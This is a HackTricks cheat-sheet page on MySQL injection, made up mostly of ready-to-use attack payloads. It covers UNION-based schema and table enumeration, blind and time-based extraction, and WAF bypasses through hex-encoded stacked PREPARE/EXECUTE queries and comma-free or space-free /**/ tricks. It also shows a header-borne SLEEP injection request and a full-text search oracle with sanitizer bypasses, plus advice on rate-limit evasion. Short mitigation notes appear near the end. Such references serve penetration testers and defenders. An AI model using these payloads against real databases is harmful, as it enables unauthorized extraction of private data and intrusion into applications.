MySQL injection
Reading time: 10 minutes
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Comments
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interesting Functions
Confirm Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Useful functions
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
All injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flow
Remember that in "modern" versions of MySQL you can substitute "information_schema.tables" for "mysql.innodb_table_stats" (This could be useful to bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Only 1 value
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detect number of columns
Using a simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Learn here different options to abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Executing queries through Prepared Statements
When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
For more information please refer to this blog post.
Information_schema alternatives
Remember that in "modern" versions of MySQL you can substitute information_schema.tables for mysql.innodb_table_stats or for sys.x$schema_flattened_keys or for sys.schema_table_statistics
MySQLinjection without COMMAS
Select 2 columns without using any comma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Some applications sanitise or parse user input with functions such as sscanf("%128s", buf) which stop at the first space character.
Because MySQL treats the sequence /**/ as a comment and as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.
Example time-based blind injection bypassing the space filter:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Which the database receives as:
' OR SLEEP(5)-- -'
This is especially handy when:
- The controllable buffer is restricted in size (e.g.
%128s) and spaces would prematurely terminate the input. - Injecting through HTTP headers or other fields where normal spaces are stripped or used as separators.
- Combined with
INTO OUTFILEprimitives to achieve full pre-auth RCE (see the MySQL File RCE section).
MySQL history
You ca see other executions inside the MySQL reading the table: sys.x$statement_analysis
Version alternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
This is not a classic SQL injection. When developers pass user input into MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.
Key points:
- Operators are evaluated inside the quotes:
+(must include),-(must not include),*(trailing wildcard),"..."(exact phrase),()(grouping),</>/~(weights). See MySQL docs. - This allows presence/absence and prefix tests without breaking out of the string literal, e.g.
AGAINST('+admin*' IN BOOLEAN MODE)to check for any term starting withadmin. - Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like
(\b.{1,2})(\s)|(\b.{1,2}$), submitprefix*ZZ. The cleaner trims theZZbut leaves the*, soprefix*survives. - Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26is&,%2Bis+. The trailingxD(or any two letters) is trimmed by the cleaner, preserving{FUZZ}*.- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
Enumeration workflow:
- Start with
{FUZZ} = a…z,0…9to find first-letter matches via+a*,+b*, … - For each positive prefix, branch:
a* → aa* / ab* / …. Repeat to recover the whole string. - Distribute requests (proxies, multiple accounts) if the app enforces flood control.
Why titles often leak while contents don’t:
- Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.
Mitigations:
- If you don’t need Boolean logic, use
IN NATURAL LANGUAGE MODEor treat user input as a literal (escape/quote disables operators in other modes). - If Boolean mode is required, strip or neutralize all Boolean operators (
+ - * " ( ) < > ~) for every token (no early breaks) after tokenization. - Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
- Review analogous features in other DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSalso parse operators inside quoted arguments.
Notes:
- Prepared statements do not protect against semantic abuse of
REGEXPor search operators. An input like.*remains a permissive regex even inside a quotedREGEXP '.*'. Use allow-lists or explicit guards.
Other MYSQL injection guides
References
- PayloadsAllTheThings – MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks